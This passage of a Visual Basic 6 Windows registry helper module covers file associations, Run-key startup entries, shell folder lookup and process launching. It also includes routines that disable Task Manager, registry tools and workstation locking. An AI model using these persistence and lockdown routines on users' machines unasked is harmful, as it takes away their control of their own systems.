CreateRegString(HKEY_CLASSES_ROOT, _\n strAppKey & \"\\Shell\\Open\\Command\", _\n \"\", _\n strFullPath & \" \"\"%1\"\"\")\n \n 'create the icon sub key\n Call CreateSubKey(HKEY_CLASSES_ROOT, _\n strAppKey & \"\\DefaultIcon\")\n \n 'create the entry that points to the icon.\n If LCase(Right(strIconPath, 3)) = \"exe\" Then\n 'get icon from .exe\n Call CreateRegString(HKEY_CLASSES_ROOT, _\n strAppKey & \"\\DefaultIcon\", _\n \"\", _\n strIconPath & \",1\")\n Else\n 'get icon from .ico file\n Call CreateRegString(HKEY_CLASSES_ROOT, _\n strAppKey & \"\\DefaultIcon\", _\n \"\", _\n strIconPath & \",0\")\n End If\nEnd Sub\nPublic Sub DeleteFileAssociation(ByVal strFileType As String)\n 'This procedure will remove a file association. It is recommended that\n 'you only remove an association that your application created, as once\n 'the association is gone, it cannot be recreated without knowing the\n 'file type, application involved and the icon assiciated with the file type.\n 'See CreateFileAssociation for further information.\n \n Dim strSubKeyAssociation As String\n \n 'validate the parameter\n \n 'make sure that the parameter contains something\n If strFileType = \"\" Then\n Exit Sub\n End If\n \n 'make sure that the first character is a dot (.)\n If Left(strFileType, 1) <> \".\" Then\n 'insert dot\n strFileType = \".\" & strFileType\n End If\n \n 'now we check the registry\n \n strSubKeyAssociation = ReadRegString(HKEY_CLASSES_ROOT, _\n strFileType, \"\")\n \n 'if there was an error, then exit\n If LCase(Left(strSubKeyAssociation, 5)) = \"error\" Then\n Exit Sub\n End If\n \n 'delete the commands and information about the selected file type\n Call DeleteSubKey(HKEY_CLASSES_ROOT, strSubKeyAssociation)\nEnd Sub\nPublic Sub PutAppInStartup(ByVal strEntryLabel As String, _\n Optional ByVal strFilePath As String, _\n Optional ByVal blnStartup As StartLoginType = RunAfterLogin, _\n Optional ByVal blnOverwrite As Boolean = False)\n 'This will take an applications full path name and put it into the registry\n 'to start the program either before or after the login screen in normally\n 'loaded. If no app path is specified, then by default, it puts the current\n 'project in to startup after the login screen. Existing enteries are not\n 'overwritten. You could call this procedure like;\n '\n 'Call PutAppInStartup(\"MyCoolApp\", MyAppsFilePath, RunAfterLogin, False)\n '\n 'or\n '\n 'Call PutAppInStartup(\"MyCoolApp\")\n '\n 'See also RemoveAppFromStartup.\n \n \n Dim strSubKey As String\n Dim strCheck As String\n \n 'check to see if a file path was specified\n If strFilePath = \"\" Then\n 'specifiy the path from the current project\n \n 'if the applications path is a root directory, then don't add a\n 'backslash to the path\n If Right(App.Path, 1) = \"\\\" Then\n strFilePath = App.Path & App.ExeName & \".exe\"\n Else\n strFilePath = App.Path & \"\\\" & App.ExeName & \".exe\"\n End If\n End If\n \n 'check to see if the file exists\n If (Dir(strFilePath) = \"\") Or (strEntryLabel = \"\") Then\n 'can't find file. There is no point in making an entry for a file\n 'that doesn't exist, so exit\n Exit Sub\n End If\n \n 'create the sub key based on the options\n If blnStartup = RunAfterLogin Then\n 'set the app to start after the login screen\n strSubKey = STARTUP_AL_SUBKEY\n Else\n 'set the app to run before the login screen\n strSubKey = STARTUP_BL_SUBKEY\n End If\n \n 'if the entry already exists and we don't want to overwrite, then exit\n strCheck = ReadRegString(HKEY_LOCAL_MACHINE, _\n strSubKey, _\n strEntryLabel)\n If (Not blnOverwrite) And (Left(strCheck, 5) <> \"Error\") Then\n Exit Sub\n End If\n \n 'write to the registry\n Call CreateRegString(HKEY_LOCAL_MACHINE, _\n strSubKey, _\n strEntryLabel, _\n strFilePath)\nEnd Sub\nPublic Sub RemoveAppFromStartup(ByVal strEntryLabel As String, _\n Optional ByVal blnStartup As StartLoginType = RunAfterLogin)\n 'This procedure will remove an app from the startup be specifying\n 'it's label and whether or not the app startsup before or after the\n 'login screen. Also see the PutInStartup procedure.\n \n Dim strSubKey As String\n Dim strCheck As String\n \n 'find the sub key depending on the startup gstrMethod\n If blnStartup = RunAfterLogin Then\n 'startup after the login screen [default]\n strSubKey = STARTUP_AL_SUBKEY\n Else\n 'startup before the login screen\n strSubKey = STARTUP_BL_SUBKEY\n End If\n \n 'check to see if the entry exists\n strCheck = ReadRegString(HKEY_LOCAL_MACHINE, _\n strSubKey, _\n strEntryLabel)\n If Left(strCheck, 5) = \"Error\" Then\n 'there was a problem accessing the key, so exit (eg, it might not exist)\n Exit Sub\n End If\n \n 'delete the entry\n Call DeleteValue(HKEY_LOCAL_MACHINE, _\n strSubKey, _\n strEntryLabel)\nEnd Sub\nPublic Sub CreateSubKey(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String)\n 'This procedure will create a sub key in the\n 'specified header key.\n \n Dim lngResult As Long\n Dim hKey As Long\n \n 'create the key\n lngResult = RegCreateKey(enmHive, _\n strSubKey & Chr(0), _\n hKey)\n \n 'close the key\n lngResult = RegCloseKey(hKey)\nEnd Sub\nPublic Sub DeleteSubKey(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String)\n 'This procedure will delete a key from the registry. Please note that\n 'the procedure will not delete key values.\n \n Dim lngResult As Long 'holds any returned value from an api call\n Dim hKey As Long 'holds a handle to the specified key\n \n 'open the key\n lngResult = RegOpenKeyEx(enmHive, _\n strSubKey & Chr(0), _\n 0&, _\n KEY_ALL_ACCESS, _\n hKey)\n \n 'delete the key\n lngResult = RegDeleteKey(enmHive, hKey)\n \n 'close the key\n lngResult = RegCloseKey(hKey)\nEnd Sub\nPublic Sub DeleteValue(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n Optional ByVal strEntryLabel As String)\n 'This will remove any registry key or entry value\n \n Dim lngResult As Long\n Dim hKey As Long\n Dim strTotalSubKey As String\n \n 'create the full registry subkey and entry label\n strTotalSubKey = strSubKey & Chr(0)\n \n 'open the subkey/entry\n lngResult = RegOpenKeyEx(enmHive, _\n strTotalSubKey, _\n 0&, _\n KEY_ALL_ACCESS, _\n hKey)\n \n 'delete the key/entry from the registry\n lngResult = RegDeleteValue(hKey, strEntryLabel)\n \n 'close the handle\n lngResult = RegCloseKey(hKey)\nEnd Sub\nPublic Sub CreateRegString(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n ByVal strEntryLabel As String, _\n ByVal strText As String)\n 'This will put some text into the specified key and entry label. This\n 'data can be retrieved with the ReadRegString function\n \n Dim lngResult As Long\n Dim hKey As Long\n Dim strTotalSubKey As String\n \n 'create a complete sub key and entry path to send to the api call\n strTotalSubKey = strSubKey & Chr(0)\n \n 'try to open the key first\n lngResult = RegOpenKeyEx(enmHive, _\n strTotalSubKey, _\n 0, _\n KEY_READ + KEY_WRITE, _\n hKey)\n \n 'if we couldn't open the key, then try and create it\n If (hKey = 0) Then\n 'now create the sub key entry if it does not exist\n lngResult = RegCreateKey(enmHive, strTotalSubKey, hKey)\n \n 'if no handle was returned, then exit\n If hKey = 0 Then\n Exit Sub\n End If\n End If\n \n 'write the text into the key with the specified entry name\n lngResult = RegSetValueEx(hKey, _\n strEntryLabel, _\n 0&, _\n REG_SZ, _\n ByVal strText, _\n Len(strText))\n \n 'close the opened key and exit\n lngResult = RegCloseKey(hKey)\nEnd Sub\nPublic Function GetWinDirectories(ByVal enmDirectory As ShellFoldersType) _\n As String\n 'This function will return the specfied system directory like the desktop\n 'directory, windows directory, temp folder, system directory etc.\n \n 'registry entry names\n Const ApplicationData As String = \"AppData\"\n Const TempInetFiles As String = \"Cache\" 'temperory internet files\n Const Cookies As String = \"Cookies\"\n Const Desktop As String = \"Desktop\"\n Const Favourites As String = \"Favourites\"\n Const Fonts As String = \"Fonts\"\n Const History As String = \"History\"\n Const LocalAppData As String = \"Local AppData\"\n Const NetHood As String = \"NetHood\"\n Const MyDocuments As String = \"Personal\"\n Const PrintHood As String = \"PrintHood\"\n Const StartPrograms As String = \"Programs\"\n Const Recent As String = \"Recent\"\n Const SendTo As String = \"SendTo\"\n Const StartMenu As String = \"Start Menu\"\n Const StartUp As String = \"Startup\"\n Const Templates As String = \"Templates\"\n \n \n Dim strResult As String\n Dim errResult As Long\n \n Select Case enmDirectory\n 'registry entry names\n Case ApplicationDataDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, ApplicationData)\n \n Case TempInetFilesDir 'temperory internet files\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, TempInetFiles)\n \n Case CookiesDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, Cookies)\n \n Case DesktopDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, Desktop)\n \n Case FavouritesDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, Favourites)\n \n Case FontsDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, Fonts)\n \n Case HistoryDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, History)\n \n Case LocalAppDataDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, LocalAppData)\n \n Case NetHoodDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, NetHood)\n \n Case MyDocumentsDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, MyDocuments)\n \n Case PrintHoodDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, PrintHood)\n \n Case StartProgramsDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, StartPrograms)\n \n Case RecentDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, Recent)\n \n Case SendToDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, SendTo)\n \n Case StartMenuDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, StartMenu)\n \n Case StartupDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, StartUp)\n \n Case TemplatesDir\n strResult = ReadRegString(HKEY_USERS, SHELL_FOLDERS_SUBKEY, Templates)\n \n \n 'these next items are not stored in the registry\n Case SystemDir\n strResult = Space(255)\n errResult = GetSystemDirectory(strResult, 255)\n \n 'remove the null character\n If (InStr(1, strResult, vbNullChar) > 0) Then\n strResult = Left(strResult, InStr(1, strResult, vbNullChar) - 1)\n End If\n \n Case WindowsDir\n strResult = Space(255)\n errResult = GetWindowsDirectory(strResult, 255)\n \n 'remove the null character\n If (InStr(1, strResult, vbNullChar) > 0) Then\n strResult = Left(strResult, InStr(1, strResult, vbNullChar) - 1)\n End If\n \n Case TempDir 'temperory folder is always in the Windows directory\n strResult = Space(255)\n errResult = GetTempDirectory(255, strResult)\n \n 'remove the null character and add the name of the temperory folder\n If (InStr(1, strResult, vbNullChar) > 0) Then\n strResult = Left(strResult, InStr(1, strResult, vbNullChar) - 1)\n End If\n \n End Select\n \n 'return strResult\n GetWinDirectories = strResult\nEnd Function\nPublic Function GetRegisteredOwner() As String\n 'This function will returned the registered\n 'strOwner for the local machine.\n \n Const OwnerKeyLoc As String = \"RegisteredOwner\"\n \n Dim strOwner As String\n \n 'get the registered gstrOwner\n If IsWinNT Then\n strOwner = ReadRegString(HKEY_LOCAL_MACHINE, _\n WIN_NT_INFO_SUBKEY, _\n OwnerKeyLoc)\n Else\n strOwner = ReadRegString(HKEY_LOCAL_MACHINE, _\n WIN_INFO_SUBKEY, _\n OwnerKeyLoc)\n End If\n \n 'return lngResult\n GetRegisteredOwner = strOwner\nEnd Function\nPublic Function ReadRegString(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n Optional ByVal strEntry As String) _\n As String\n 'This function will check a registery string entry and\n 'return the result.\n \n Dim strText As String\n Dim lngResult As Long\n Dim hOpenKey As Long\n Dim lngBufferSize As Long\n \n 'open the registry key\n hOpenKey = GetSubKeyHandle(enmHive, strSubKey)\n \n 'check for error\n If hOpenKey = 0 Then\n 'return error message\n ReadRegString = \"Error : Cannot Open Key\"\n Exit Function\n End If\n \n 'setup the string to hold the return value\n strText = String(255, vbNullChar)\n lngBufferSize = Len(strText)\n \n 'query the information in the key\n lngResult = RegQueryValueEx(hOpenKey, _\n strEntry, _\n 0, _\n REG_SZ, _\n ByVal strText, _\n lngBufferSize)\n \n 'close access to the key\n lngResult = RegCloseKey(hOpenKey)\n \n 'check for no values returned\n If (Left(strText, 1) = vbNullChar) Then\n 'return error message\n ReadRegString = \"Error : Cannot Retrieve String\"\n Exit Function\n Else\n 'remove the null character\n If (InStr(1, strText, vbNullChar) > 0) Then\n strText = Left(strText, InStr(1, strText, vbNullChar) - 1)\n End If\n End If\n \n 'function successful, return owners name\n ReadRegString = strText\nEnd Function\nPublic Function ReadRegLong(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n ByVal strEntry As String, _\n Optional ByVal enmType As RegistryLongTypes = REG_BINARY) _\n As Long\n 'This function will check a registery string\n 'entry and return the lngResult.\n \n Dim lngValue As Long\n Dim lngResult As Long\n Dim hOpenKey As Long\n Dim lngBufferSize As Long\n \n 'open the registry key\n hOpenKey = GetSubKeyHandle(enmHive, strSubKey)\n \n 'check for error\n If hOpenKey = 0 Then\n 'return error message\n ReadRegLong = 0\n Exit Function\n End If\n \n lngBufferSize = 4\n \n 'query the information in the key\n lngResult = RegQueryValueEx(hOpenKey, _\n strEntry, _\n ByVal 0&, _\n REG_BINARY, _\n lngValue, _\n lngBufferSize)\n \n 'close access to the key\n lngResult = RegCloseKey(hOpenKey)\n \n 'function successful, return owners name\n ReadRegLong = lngValue\nEnd Function\nPrivate Function GetSubKeyHandle(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n Optional ByVal enmAccess As RegistryKeyAccess = KEY_READ) _\n As Long\n 'This function returns a handle to the specified registry key\n \n Dim lngResult As Long 'holds any returned error value from an api call\n Dim hKey As Long 'holds the handle to the specified key\n \n 'open the registry key\n lngResult = RegOpenKeyEx(enmHive, strSubKey, 0, enmAccess, hKey)\n \n If lngResult <> ERROR_SUCCESS Then\n 'could not create key\n hKey = 0\n End If\n \n 'return value\n GetSubKeyHandle = hKey\nEnd Function\nPublic Function GetSpace(enmSpaceType As MemType, _\n Optional ByVal strDrive As String = \"C:\\\") _\n As Long\n 'This function returns the amount of specified memory, either in total\n 'or available depending on what was passed.\n 'Keep in mind that the information returned is volitile - if you call\n 'the function twice, there is no guarentee that the values returned\n 'will be the same.\n 'Note also, that physical memory is ram memory and memory usage is\n 'the amount of ram used.\n \n Const CpuSubKey As String = \"PerfStats\\StatData\"\n Const CpuName As String = \"KERNEL\\CPUUsage\"\n \n Dim enmMemStruc As MEMORYSTATUS\n Dim lngResult As Long\n Dim SecPerCluster As Long\n Dim lngBytPerSector As Long\n Dim lngFreeClusters As Long\n Dim lngTotalClusters As Long\n \n 'Before calling GlobalMemoryStatus, we have to tell it the length\n 'of the structure we are passing it - this is required by the procedure.\n enmMemStruc.dwLength = Len(enmMemStruc)\n Call GlobalMemoryStatus(enmMemStruc)\n \n 'get the disk space. The function must be passed the root directory of\n 'a drive like \"C:\\\" or \"D:\\\" and must end with a Null character (chr(0) )\n If Len(strDrive) >= 3 Then\n lngResult = GetDiskFreeSpace((Left(strDrive, 3) & Chr(0)), _\n SecPerCluster, _\n lngBytPerSector, _\n lngFreeClusters, _\n lngTotalClusters)\n End If\n \n 'save the selected lngResult\n Select Case enmSpaceType\n \n Case CPUUsage 'cpu usage\n lngResult = ReadRegLong(HKEY_DYN_DATA, CpuSubKey, CpuName)\n \n Case MemoryUsage 'ram usage\n lngResult = enmMemStruc.dwMemoryLoad\n \n Case TotalPhysical 'total ram\n lngResult = enmMemStruc.dwTotalPhys\n \n Case AvailablePhysical 'available ram\n lngResult = enmMemStruc.dwAvailPhys\n \n Case TotalPageFile 'total page file\n lngResult = enmMemStruc.dwTotalPageFile\n \n Case AvailablePageFile 'available page file\n lngResult = enmMemStruc.dwAvailPageFile\n \n Case TotalVirtual 'total virtual (swap file)\n lngResult = enmMemStruc.dwTotalVirtual\n \n Case AvailableVirtual 'available virtual\n lngResult = enmMemStruc.dwAvailVirtual\n \n Case TotalDisk 'hard drive space\n lngResult = lngTotalClusters * (lngBytPerSector * SecPerCluster)\n \n Case AvailableDisk 'available hard drive space\n lngResult = lngFreeClusters * (lngBytPerSector * SecPerCluster)\n \n Case Else\n 'return -1 as an error code\n lngResult = -1\n End Select\n \n GetSpace = lngResult\nEnd Function\nPublic Function GetCountry() As String\n 'This will return the country from\n 'the computers' regional settings\n \n Const CountryKey As String = \"sCountry\" 'the registry entry that holds the country name\n Const DEFAULT_COUNTRY As String = \"Ireland\" 'the default country to return if unable to retrieve from the registry\n \n Dim strCountry As String 'holds the value of the registry entry\n \n strCountry = ReadRegString(HKEY_USERS, _\n COUNTRY_SUBKEY, _\n CountryKey)\n \n 'if it could not get the country, then default to\n 'the programmers country\n If UCase(Left(strCountry, 5)) = \"ERROR\" Then\n strCountry = DEFAULT_COUNTRY\n End If\n \n 'return the country\n GetCountry = strCountry\nEnd Function\nPublic Function ShellFile(ByVal strFilePath As String, _\n Optional enmFocus As VbAppWinStyle = vbNormalFocus)\n 'This will open any file with the appropiate program\n 'as long as it is registered in the registry and\n 'if the function is successful, it will return the\n 'applications ID.\n \n Dim strExtention As String 'holds the file extention\n Dim lngDotPos As Long 'the position of the last . character found in the string\n Dim lngAppId As Long 'the process id for the started application\n Dim strWindowsDir As String 'the location of the windows directory\n Dim strSubKeyLoc As String 'the location of the registry sub key to open the file type\n Dim strOpenWith As String 'the program to open the file with\n Dim strMulti() As String 'the individual files if more than one is passed (multiple parameters)\n Dim intCounter As Integer 'used to cycle through the file list\n \n 'get the windows directory\n strWindowsDir = GetWinDirectories(WindowsDir)\n \n 'strip qutoation marks from the file path\n strFilePath = Replace(strFilePath, \"\"\"\", \"\")\n \n 'see if the file is a directory, if so open in\n 'explorer\n If HasFileAttrib(strFilePath, vbDirectory) Then\n 'open the directory\n lngAppId = Shell(AddFile(strWindowsDir, _\n \"Explorer.exe /n,/e,\" _\n & strFilePath), _\n enmFocus)\n \n ShellFile = lngAppId\n Exit Function\n End If\n \n 'get the file extention if any exists (after the last\n 'position of the backslash)\n lngDotPos = InStrRev(strFilePath, \".\")\n If (lngDotPos > 0) Then\n If (InStr(lngDotPos, strFilePath, \"\\\") = 0) Then\n 'file extention exists\n strExtention = Right(strFilePath, _\n Len(strFilePath) - _\n lngDotPos + 1)\n End If\n End If\n \n 'if the extention marks any executable file, then\n 'simple run it\n Select Case LCase(strExtention)\n Case \".exe\", \".com\", \".bat\", \"\"\n \n 'make sure the file exists\n If (Dir(strFilePath) <> \"\") And (Trim(strFilePath) <> \"\") Then\n lngAppId = Shell(strFilePath, enmFocus)\n \n 'return a pointer to the application instance\n ShellFile = lngAppId\n End If\n Exit Function\n End Select\n \n 'we need to check the executable file types that\n 'can run on their own\n strSubKeyLoc = ReadRegString(HKEY_CLASSES_ROOT, _\n strExtention)\n strOpenWith = ReadRegString(HKEY_CLASSES_ROOT, _\n AddFile(strSubKeyLoc, _\n \"shell\\open\\command\"))\n \n 'make sure no error was returned\n If UCase(Left(strOpenWith, 5)) = \"ERROR\" Then\n 'couldn't open file\n ShellFile = 0\n Exit Function\n End If\n \n 'process the string returned so that we can send\n 'it to the Shell function\n If InStr(strOpenWith, \"%1\") > 0 Then\n 'replace the parameters with the appropiate\n 'file names\n If InStr(strOpenWith, \",\") = 0 Then\n 'process one file\n strOpenWith = Replace(strOpenWith, _\n \"%1\", _\n strFilePath)\n Else\n 'process multiple files\n strMulti = Split(strFilePath, \",\")\n \n For intCounter = LBound(strMulti) To UBound(strMulti)\n 'replace each parameter string with the\n 'corresponding number of elements found\n strOpenWith = Replace(strOpenWith, _\n \"%\" & intCounter, _\n strMulti(intCounter))\n Next intCounter\n End If\n Else\n 'insert the file name(s) at the end of the\n 'name of the program. Please note, that this\n 'might not actually work for some programs as\n 'the extra parameter may produce an error or be\n 'ignored altogether. However this is unlikley\n 'as this program path was found in the \"Open\"\n 'section of the program commands.\n strOpenWith = strOpenWith & \" \" & _\n Chr(34) & strFilePath & Chr(34) 'chr(34) is a double quote character (\")\n End If\n \n 'replace system path codes with the actual paths (typically on an NT\n 'based machine) --NOT case sensitive with vbTextCompare--\n strOpenWith = Replace(strOpenWith, _\n \"%SystemDrive%\", _\n Left(GetWinDirectories(WindowsDir), 3), _\n Compare:=vbTextCompare)\n strOpenWith = Replace(strOpenWith, _\n \"%SystemRoot%\", _\n GetWinDirectories(WindowsDir), _\n Compare:=vbTextCompare)\n \n 'open the file\n lngAppId = Shell(strOpenWith, enmFocus)\n ShellFile = lngAppId\nEnd Function\nPrivate Function AddFile(ByVal strPath As String, _\n ByVal strFileName As String) _\n As String\n \n 'This function takes a file name and a path and will\n 'put the two together to form a filepath. This is useful\n 'for when the applications' path happens to be the root\n 'directory.\n \n If (strPath = \"\") Then\n 'no path was passed\n AddFile = strFileName\n Exit Function\n End If\n \n 'check the last character for a backslash\n If Left(strPath, 1) = \"\\\" Then\n 'don't insert a backslash\n AddFile = strPath & strFileName\n Else\n 'insert a backslash\n AddFile = strPath & \"\\\" & strFileName\n End If\nEnd Function\nPrivate Function FileExists(ByVal strFilePath As String, _\n Optional ByVal enmFlags As VbFileAttribute = vbNormal) _\n As Boolean\n 'returns True if the file exists\n \n If ((strFilePath = \"\") Or _\n (Dir(strFilePath, enmFlags) = \"\")) Then\n 'invalid path/filename\n FileExists = False\n Else\n FileExists = True\n End If\nEnd Function\nPrivate Function HasFileAttrib(ByVal strFilePath As String, _\n Optional ByVal enmFlags As VbFileAttribute) _\n As Boolean\n 'returns True if the file specified has the\n 'appropiate type signiture, eg, a directory or is\n 'read-only. If testing multiple attributes, then\n 'the file MUST have all attributes to return True\n \n Dim lngErrNum As Long 'holds any error that occurred trying to access the file\n \n 'make sure the file exists without upsetting any\n 'stored values when the Dir function is being used\n 'externally by another procedure/function\n On Error Resume Next\n 'test file access\n GetAttr strFilePath\n lngErrNum = Err\n On Error GoTo 0\n \n 'exit if an error occured (\"#53 - File Not Found\"\n 'usually occurs)\n If lngErrNum > 0 Then\n HasFileAttrib = False\n Exit Function\n End If\n \n 'test the file for attributes\n If ((GetAttr(strFilePath) And enmFlags) = enmFlags) Then\n HasFileAttrib = True\n Else\n HasFileAttrib = False\n End If\nEnd Function\nPrivate Function IsWinNT() As Boolean\n 'Detect if the program is running under an NT based system (NT, 2000, XP)\n \n Const VER_PLATFORM_WIN32_NT As Long = 2\n \n Dim osiInfo As OSVERSIONINFO 'holds the operating system information\n Dim lngResult As Long 'returned error value from the api call\n \n 'get version information\n osiInfo.dwOSVersionInfoSize = Len(osiInfo)\n lngResult = GetVersionEx(osiInfo)\n \n 'return True if the test of windows NT is positive\n IsWinNT = (osiInfo.dwPlatformId = VER_PLATFORM_WIN32_NT)\nEnd Function\nPublic Sub NTMenus(ByVal enmPrivilage As EnumNTSettings, _\n ByVal blnEnable As Boolean)\n 'This will enable or disable the windows task manager. Please note that\n 'this procedure does not work on any Non-NT based system (win 9x)\n \n Const CHANGE_PASS As String = \"DisableChangePassword\"\n Const LOCK_WORK_ST As String = \"DisableLockWorkStation\"\n Const REG_TOOLS As String = \"DisableRegistryTools\"\n Const TASK_MANAGER As String = \"DisableTaskMgr\"\n 'disable parts of the Display dialog box\n Const DISPLAY_PAGE As String = \"NoDispAppearancePage\"\n Const DISPLAY_BPAGE As String = \"NoDispBackgroundPage\"\n Const DISPLAY_CPL As String = \"NoDispCPL\"\n Const DISPLAY_SCRSV As String = \"NoDispScrSavPage\"\n Const DISPLAY_SETT As String = \"NoDispSettingsPage\"\n \n Dim strValueName As String 'holds the Value to open\n Dim lngFlag As Long 'holds the value to set the setting\n \n If Not IsWinNT Then\n 'cannot change settings unless this is a winnt system\n Exit Sub\n End If\n \n 'get the text to for the registry value for the selected setting\n Select Case enmPrivilage\n 'items that can be disabled on the Lock Screen\n Case CHANGE_PASSWORD\n strValueName = CHANGE_PASS\n \n Case LOCK_WORKSTATION\n strValueName = LOCK_WORK_ST\n \n Case REGISTRY_TOOLS\n strValueName = REG_TOOLS\n \n Case TASK_MGR\n strValueName = TASK_MANAGER\n \n 'the tabs on the Display Properties dialog box\n Case DISP_APPEARANCE_PAGE\n strValueName = DISPLAY_PAGE\n \n Case DISP_BACKGROUND_PAGE\n strValueName = DISPLAY_BPAGE\n \n Case DISP_CPL\n strValueName = DISPLAY_CPL\n \n Case DISP_SCREENSAVER\n strValueName = DISPLAY_SCRSV\n \n Case DISP_SETTINGS\n strValueName = DISPLAY_SETT\n \n Case Else\n 'invalid selection\n Exit Sub\n End Select\n \n 'get the value settings\n If Not blnEnable Then\n 'disable option\n lngFlag = 1\n Else\n 'enable option\n lngFlag = 0\n End If\n \n If IsWinNT Then\n 'NT registry location\n Call CreateRegLong(HKEY_CURRENT_USER, _\n NT_SETTINGS, _\n strValueName, _\n lngFlag)\n \n If IsW2000 Then\n 'windows 2000 needs an additional entry\n Call CreateRegLong(HKEY_CURRENT_USER, _\n W2K_SETTINGS, _\n strValueName, _\n lngFlag)\n End If\n End If\nEnd Sub\nPublic Sub AutoRestartShell(ByVal blnEnable As Boolean)\n 'This will turn on/off whether or not the windows shell restarts if it is\n 'shutdown or not. This only works on NT based systems\n \n 'in registry hive HKEY_LOCAL_MACHINE\n Const AUTO_RESTART_SUBKEY As String = \"Software\\Microsoft\\Windows NT\\\" + _\n \"CurrentVersion\\WinLogon\"\n \n Dim lngResult As Long 'holds any returned error value from an api call\n Dim hKey As Long 'holds a handle to the opened key\n Dim lngData As Long 'holds the data going into the registry key\n \n 'if this is not an NT machine, this won't work\n If Not IsWinNT Then\n Exit Sub\n End If\n \n 'get the value of the data going into the registry key\n lngData = Abs(blnEnable)\n \n 'set the value to enable or disable the specified setting\n Call CreateRegLong(HKEY_LOCAL_MACHINE, _\n AUTO_RESTART_SUBKEY, _\n \"AutoRestartShell\", _\n lngData)\nEnd Sub\nPublic Function IsW2000() As Boolean\n 'This will only return True if the version returned by the registry\n 'value CurrentVersion is 5\n \n Dim strVersion As String 'holds the verion number of the operating system\n \n 'the the machine NT based (NT, 2000, XP)\n If Not IsWinNT Then\n IsW2000 = False\n Exit Function\n End If\n \n 'check the version\n strVersion = ReadRegString(HKEY_LOCAL_MACHINE, _\n WIN_NT_INFO_SUBKEY, _\n \"CurrentVersion\")\n \n 'could we read the registry entry\n If Len(strVersion) < 0 Then\n IsW2000 = False\n Exit Function\n End If\n \n 'check the version\n If (strVersion = \"\") Then\n IsW2000 = False\n \n Else\n If Left(strVersion, 1) = \"5\" Then\n IsW2000 = True\n Else\n IsW2000 = False\n End If\n End If\nEnd Function\nPublic Sub OppLocking(ByVal blnEnable As Boolean)\n 'This will enable or disable oppertunistic locking on an NT based machine\n \n 'in HKEY_LOCAL_MACHINE registry hive\n Const LOCK_OP_SUBKEY As String = \"System\\CurrentControlSet\\Services\"\n Const W2K_lOCK_LOCAL As String = LOCK_OP_SUBKEY + \"\\LanManServer\\Parameters\"\n Const W2K_LOCK_REMOTE As String = LOCK_OP_SUBKEY + \"\\MrxSmb\\Parameters\"\n Const WNT_LOCK_LOCAL As String = LOCK_OP_SUBKEY + \"\\LanManWorkStation\\Parameters\"\n Const WNT_LOCK_REMOTE As String = LOCK_OP_SUBKEY + \"\\LanManServer\\Parameters\"\n \n Dim lngData As Long 'holds the numeric value to set to\n \n 'make sure we are running on an NT based system\n If Not IsWinNT Then\n Exit Sub\n End If\n \n 'what kind of NT based system are we running on\n If IsW2000 Then\n 'enable/disable opportunistic locking on windows 2000\n lngData = Abs(blnEnable)\n \n 'local locking\n Call CreateRegLong(HKEY_LOCAL_MACHINE, _\n W2K_lOCK_LOCAL, _\n \"EnableOpLocks\", _\n lngData)\n \n 'remote locking\n lngData = Abs(Not blnEnable)\n \n Call CreateRegLong(HKEY_LOCAL_MACHINE, _\n W2K_LOCK_REMOTE, _\n \"OplocksDisabled\", _\n lngData)\n \n Else\n 'enable/disable opportunistic locking on windows NT\n \n lngData = Abs(blnEnable)\n \n 'local locking\n Call CreateRegLong(HKEY_LOCAL_MACHINE, _\n WNT_LOCK_LOCAL, _\n \"UseOpportunisticLocking\", _\n lngData)\n \n 'remote locking\n Call CreateRegLong(HKEY_LOCAL_MACHINE, _\n WNT_LOCK_REMOTE, _\n \"EnableOpLocks\", _\n lngData)\n End If\nEnd Sub\nPublic Sub CreateRegLong(ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n ByVal strValueName As String, _\n ByVal lngData As Long, _\n Optional ByVal enmType As RegistryLongTypes = REG_DWORD_LITTLE_ENDIAN)\n 'This will create a value in the registry of the specified type\n 'and value data\n \n Dim hKey As Long 'holds a pointer to an open registry key\n Dim lngResult As Long 'holds any returned error value from an api call\n \n 'make sure the registry value exists\n Call CreateSubKey(enmHive, strSubKey)\n \n 'open the subkey\n hKey = GetSubKeyHandle(enmHive, strSubKey, KEY_SET_VALUE)\n \n 'create the registry value\n lngResult = RegSetValueEx(hKey, _\n strValueName, _\n 0, _\n enmType, _\n lngData, _\n 4)\n \n 'close the registry key\n lngResult = RegCloseKey(hKey)\nEnd Sub\nPublic Sub OpenVbIdeMaximized(ByVal blnEnable As Boolean)\n 'This will set the vb ide to open projects maximized by default\n \n 'HKEY_CURRENT_USER\n Const VB_IDE_SUB_KEY As String = \"\\Software\\Microsoft\\Visual Basic\\6.0\"\n \n Call CreateRegString(HKEY_CURRENT_USER, _\n VB_IDE_SUB_KEY, _\n \"MDIMaximized\", _\n Trim(Str(Abs(blnEnable))))\nEnd Sub\nPublic Sub SaveArray(ByRef varArray() As Variant, _\n ByVal enmHive As RegistryHives, _\n ByVal strSubKey As String, _\n Optional ByVal 